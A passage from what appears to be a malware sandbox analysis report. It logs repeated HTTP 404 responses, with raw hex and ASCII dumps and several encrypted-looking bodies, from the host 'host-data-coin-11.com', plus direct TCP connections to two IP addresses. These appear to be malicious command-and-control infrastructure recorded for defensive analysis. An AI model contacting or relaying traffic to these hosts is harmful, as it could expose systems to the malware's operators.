65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 0f 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 62 6e b8 57 df ef 66 b1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevbnWfdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 60 4d 87 33 c5 de 66 b2 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTev`M3fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
